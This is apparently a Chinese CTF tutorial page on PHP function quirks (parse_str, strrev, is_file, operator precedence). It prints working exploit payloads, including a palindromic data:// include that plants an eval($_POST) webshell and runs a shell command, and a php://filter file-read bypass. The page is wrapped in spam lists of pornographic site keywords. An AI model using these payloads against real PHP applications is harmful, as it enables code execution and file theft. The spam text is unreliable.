色综合图-色综合图片-色综合图片二区150p-色综合图区-玖玖国产精品视频-玖玖香蕉视频

您的位置:首頁技術文章
文章詳情頁

CTF中的PHP特性函數解析之下篇

瀏覽:169日期:2022-06-06 15:52:34
目錄
  • 前言
  • parse_str
  • strrev
  • is_file
  • 優先級問題
  • 結語

前言

上篇文章講的進階一些的PHP特性不知道大家吸收的怎么樣了,今天作為本PHP特性函數的最后一篇,我也會重點介紹一些有趣的PHP特性以及利用方法,下面開始我們今天的內容分享。

parse_str

parse_str()這個函數會把查詢字符串解析到變量中。那么我們如何利用它的特性呢,我們看下面的例子:

<?phphighlight_file(__FILE__);error_reporting(0);include("flag.php");if(isset($_POST["v1"])){    $v1 = $_POST["v1"];    $v3 = $_GET["v3"];       parse_str($v1,$v2);       if($v2["flag"]==md5($v3)){   echo $flag;       }} ?>

分析一下代碼要求我們什么,看最后要我們數組v2等于md5(v3),而根據上面代碼v2則是由該函數經過v1后賦值給的,那我們解題的思路就有了,利用parse_str() 函數的特點將v2[flag]的值覆蓋,那么具體要怎樣做呢?

先對數字5進行md5加密:

<?php$b=md5("5");echo $b;// e4da3b7fbbce2345d7772b0674a318d5?>

之后再從v1傳入我們的值即可完成繞過:

Payload:GET:v3=5POST: v1=flag=e4da3b7fbbce2345d7772b0674a318d5

strrev

這個函數還是很好理解的,就是將字符串進行翻轉,曾經遇到過考察這個的題目覺得很有趣分享給大家,我們先看代碼:

highlight_file(__FILE__);    $file = $_POST["file"];    if(isset($file)){if(strrev($file)==$file){    include $file;}

代碼很簡單,第一個是高亮代碼沒有什么用,要我們傳入file而且要使回文數等于它本身并且還要考慮如何進行攻擊,是不是不太好想,這里使用php里面的data協議,該協議可以進行寫入數據,而且?>閉合后可以加任意字符不會受別的影響。于是我們構造代碼:

data://text/plain,<?php eval($_POST[1]);?>>?;)]1[TSOP_$(lave php?<,nialp/txet//:atad&1=echo `cat /f1agaaa`;

可以看到思路還是挺巧妙的。

is_file

該函數檢測是不是一個常規的文件類型,在CTF中也出過繞過這個函數的題目,下面我們先看看代碼:

<?phphighlight_file(__FILE__);error_reporting(0);function filter($file){    if(preg_match("/../|http|https|data|input|rot13|base64|string/i",$file)){die("hacker!");    }else{return $file;    }}$file=$_GET["file"];if(! is_file($file)){    highlight_file(filter($file));}else{    echo "hacker!";} ?>

分析一下filter函數過濾了很多關鍵字符串對我們的輸入進行限制,最后還不能讓is_file檢測出來是文件,那我們要怎樣讀取flag.php文件呢,看最后有個高亮file的操作,這里就是利用點,我們要讓其等于flag文件,于是需要繞過:

這里 根據特性is_file不會識別php偽協議,于是我們構造下面代碼:

php://filter/read=convert.quoted-printable-encode/resource=flag.php

這樣傳入即可繞過檢測。

優先級問題

在php里存在以下優先級特性:

&&與||的優先級高于=,而&&優先級高于||

=的優先級高于and與or

這里也可以作為考點來考,我們看下面代碼:

<?phpinclude("flag.php");highlight_file(__FILE__);if(isset($_GET["username"]) && isset($_GET["password"]) && isset($_GET["code"])){    $username = (String)$_GET["username"];    $password = (String)$_GET["password"];    $code = (String)$_GET["code"];    if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){if($code == "admin"){    echo $flag;}     }}

我們需要傳入三個參數,之后進行類型的強制轉換,再通過判斷語句,最后需要code參數等于admin方可解題,根據優先級原則,所以當第一個判斷條件為true時,直接跳過第二個條件然后判斷第三個條件,可能有一些繞,只要username=admin為真值,code=admin輸出flag,于是構造payload:

?code=admin&password=1&username=admin

結語

本文到這就結束了,這篇文章講了幾個比較有趣而且有一些難度的特性知識,不知道大家吸收的咋樣了,當然PHP特性遠沒有這么少,更多關于CTF PHP特性函數的資料請關注其它相關文章!

標簽: PHP
主站蜘蛛池模板: 亚洲国产国产综合一区首页 | 亚洲男人第一天堂 | 台湾黄三级高清在线观看播放 | 免费看孕妇毛片全部播放 | 日韩美女网站在线看 | 国产免费午夜a无码v视频 | 99综合视频 | 亚洲精品久久久久中文 | 国产又粗又黄又湿又大 | 国产三区视频在线观看 | 日本黄色大片在线播放视频免费观看 | 久久久久久久久久久福利观看 | 免费看香港一级毛片 | 日韩国产成人精品视频人 | 亚洲成人免费视频 | 亚洲va久久久噜噜噜久久狠狠 | 亚洲精品久久一区二区无卡 | 久久视频在线观看免费 | 日本免费www| 国产成人小视频在线观看 | 在线a毛片免费视频观看 | 久久黄色视屏 | 国产亚洲精品九九久在线观看 | 国产精品自在线天天看片 | 日韩在线一区二区三区 | 国产欧美在线一区二区三区 | 日本黄页网站免费大全 | 亚洲精品中文一区不卡 | 亚洲韩国欧美一区二区三区 | 亚洲国产中文字幕 | 久久极品| 日韩在线观看中文字幕 | 日本在线视频观看 | 日本精品一区二区三区在线视频 | 亚洲精品一区二区三区网址 | 亚洲视频网址 | 精品国产高清a毛片 | 久久久www免费人成看片 | 男人和女人搞黄 | 亚洲免费高清视频 | 夜间福利在线观看 |